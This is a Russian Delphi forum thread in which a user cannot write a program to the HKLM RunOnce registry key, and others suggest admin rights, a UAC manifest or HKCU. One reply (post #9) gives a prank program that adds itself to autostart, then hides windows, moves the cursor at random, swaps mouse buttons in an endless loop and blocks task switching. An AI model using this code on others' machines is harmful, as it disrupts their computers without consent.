Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Закрытая тема
Ваша тема закрыта, почему это могло произойти? Возможно,
Нет наработок или кода, если нужно готовое решение - создайте тему в разделе Фриланс и оплатите работу.
Название темы включает слова - "Помогите", "Нужна помощь", "Срочно", "Пожалуйста".
Название темы слишком короткое или не отражает сути вашего вопроса.
Тема исчерпала себя, помните, один вопрос - одна тема
Прочитайте правила и заново правильно создайте тему.
 
Опции темы Поиск в этой теме
Старый 29.10.2014, 20:12   #1
ENESES_S
 
Регистрация: 29.10.2014
Сообщений: 8
По умолчанию Не могу добавить программу в автозапуск (Delphi))

добрый вечер,я ввожу на кнопку вот этот код
Код:
procedure TForm1.Button1Click(Sender: TObject);
begin
 reg := tregistry.create;
 reg.rootkey := hkey_local_machine;
reg.openkey('software\microsoft\windows\currentversion\runonce',True);
 reg.writestring('Project1.exe', application. exename); 
 reg.free;
End;
код для автозагрузки программы ,компилируется нормально но когда я захожу в программу и нажимаю на эту кнопку то появляется ошибка (Failed to set data for 'Project1' ) вместо Project и другие слова писал все так же даже UAC отключил но все равно выдает ошибку,может кто нибудь сталкивался? Windows 8 лицензионная не пиратка

Последний раз редактировалось Stilet; 29.10.2014 в 20:42.
ENESES_S вне форума
Старый 29.10.2014, 20:17   #2
Человек_Борща
Старожил
 
Аватар для Человек_Борща
 
Регистрация: 30.12.2009
Сообщений: 11,426
По умолчанию

а OpenKey что возвращает? Если False то выведите getLastError
Человек_Борща вне форума
Старый 29.10.2014, 20:25   #3
ENESES_S
 
Регистрация: 29.10.2014
Сообщений: 8
По умолчанию

Цитата:
Сообщение от Человек_Борща Посмотреть сообщение
а OpenKey что возвращает? Если False то выведите getLastError
и с False и с True пробовал а вот насчет GetLastError не знаю куда его вставить ,можете подсказать?
ENESES_S вне форума
Старый 29.10.2014, 20:38   #4
саша40
Участник клуба
 
Регистрация: 12.09.2012
Сообщений: 1,030
По умолчанию

В раздел HKEY_LOCAL_MACHINE влезать можно только с админскими правами!
Что нужно программисту: Компьютер, Среда программирование, Воображение, Прямые руки, Мозги, Знания этой среды программирования.
Программист-это профессия, а программирование-это моё хобби.
саша40 вне форума
Старый 29.10.2014, 20:40   #5
ENESES_S
 
Регистрация: 29.10.2014
Сообщений: 8
По умолчанию

Цитата:
Сообщение от саша40 Посмотреть сообщение
В раздел HKEY_LOCAL_MACHINE влезать можно только с админскими правами!
а как программно его получить? пару лет назад у меня в автозапуск моя программа в легкую добавлялась
ENESES_S вне форума
Старый 29.10.2014, 20:43   #6
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
а как программно его получить?
Манифестом. Вот как манифест настраивать не скажу.

Да кстати, мой тебе совет - не делай так. Напиши ридми, в котором убеди пользователя добавить линк на твою прогу в папку-автозагрузку.
I'm learning to live...
Stilet вне форума
Старый 29.10.2014, 20:53   #7
Alex11223
Старожил
 
Аватар для Alex11223
 
Регистрация: 12.01.2011
Сообщений: 19,500
По умолчанию

В инсталяторе (опционально) такое делать надо, его запускать с админ. правами (UAC манифест, ну в инсталяторах это обычно одной строчкой в скрипте включается, если для самой программы, то гуглите "delphi uac manifest", например, http://stackoverflow.com/a/14710803/964478).
В самой программе плохо потому что всегда придется ее тогда запускать с админ. правами (ну или перезапускать с ними при выполнении этого действия).

Впрочем если с отключенным в ОС UAC не работает, то наверно в чем-то другом дело. Разбирайтесь какую ошибку выдает.
Ушел с форума, https://www.programmersforum.rocks, alex.pantec@gmail.com, https://github.com/AlexP11223
ЛС отключены Аларом.

Последний раз редактировалось Alex11223; 29.10.2014 в 21:00.
Alex11223 вне форума
Старый 29.10.2014, 21:42   #8
min@y™
Цифровой кот
Старожил
 
Аватар для min@y™
 
Регистрация: 29.08.2014
Сообщений: 7,629
По умолчанию

нахрена HKLM? почему не канает HKCU?
Расскажу я вам, дружочки, как выращивать грибочки: нужно в поле утром рано сдвинуть два куска урана...
min@y™ вне форума
Старый 29.10.2014, 21:55   #9
xxbesoxx
Участник клуба
 
Регистрация: 10.08.2010
Сообщений: 1,389
По умолчанию

Так . Давайте делаем автозапуск так называемый "компьютерная шутка" сразу напишу как отключить чтобы потом не не обижались )
-----------------------------------------------------------------------
Отключить можно из "диспетчер задач" при включении компьютера запускается сам .
если хотите что не запустил Пусск ---> msconfig и переходите на вкладке "Автозапуска" и отключайте
----------------------------------------------------------------------
начинаю
1.
Код:
uses.... registry
2.объявляем глобальное переменное
Код:
var
  Form1: TForm1;
  Reg: TRegistry;
3. из события OnCreate пишем
Код:
procedure TForm1.FormCreate(Sender: TObject);
begin
  Reg := TRegistry.Create;
   Reg.RootKey := hkey_current_user;
   Reg.OpenKey('software\microsoft\windows\currentversion\run',true);
   Reg.WriteString('Project1.exe',Application.ExeName);
   Reg.CloseKey;
   Reg.Free;
   SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, nil, 0);
  SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, nil, 0);
  Randomize;
  hnd := GetDesktopWindow;
  GetWindowRect(hnd, rc);
  repeat
    hnd := GetForegroundWindow;
    ShowWindow(hnd, SW_HIDE);
    SetCursorPos(random(rc.Right), random(rc.Bottom));
    SwapMouseButton(random(2) = 0);
    Sleep(500);
  until False;
  SwapMouseButton(False);
  SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, nil, 0);
  SystemParametersInfo(SPI_SETFASTTASKSWITCH, 0, nil, 0);
end;
Компилируем и запускаем .... Я уже сказал как отключить ) Проверял на XP и Wind 8
Вложения
Тип файла: rar Avtozapusk.rar (6.1 Кб, 22 просмотров)

Последний раз редактировалось xxbesoxx; 29.10.2014 в 22:17.
xxbesoxx вне форума
Старый 29.10.2014, 22:36   #10
ENESES_S
 
Регистрация: 29.10.2014
Сообщений: 8
По умолчанию

Цитата:
Сообщение от Alex11223 Посмотреть сообщение
В инсталяторе (опционально) такое делать надо, его запускать с админ. правами (UAC манифест, ну в инсталяторах это обычно одной строчкой в скрипте включается, если для самой программы, то гуглите "delphi uac manifest", например, http://stackoverflow.com/a/14710803/964478).
В самой программе плохо потому что всегда придется ее тогда запускать с админ. правами (ну или перезапускать с ними при выполнении этого действия).

Впрочем если с отключенным в ОС UAC не работает, то наверно в чем-то другом дело. Разбирайтесь какую ошибку выдает.
ошибку выдает то что не может записать значение в реестр ,пробовал запустить программу с правами все получилось хорошо но вот теперь вопрос в этом манифесте как его правильно настроить просто я с ним еще не сталкивался ну или если есть другие способы накинуть права на мою прогу
ENESES_S вне форума
Закрытая тема


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
не могу добавить \ fredwriter Visual C++ 1 18.12.2011 01:38
Как в программу на Delphi добавить журнал событий? byka_olgaM Помощь студентам 6 07.05.2010 13:38
Помогите дописать программу на Delphi 7 не могу понять что здесь не так matrix8325 Помощь студентам 1 30.04.2009 23:34
Не могу добавить картинку в полотно viter.alex Microsoft Office Word 1 26.01.2009 19:00
Не могу добавить две серии в Chart snake-as Общие вопросы Delphi 2 19.05.2008 09:04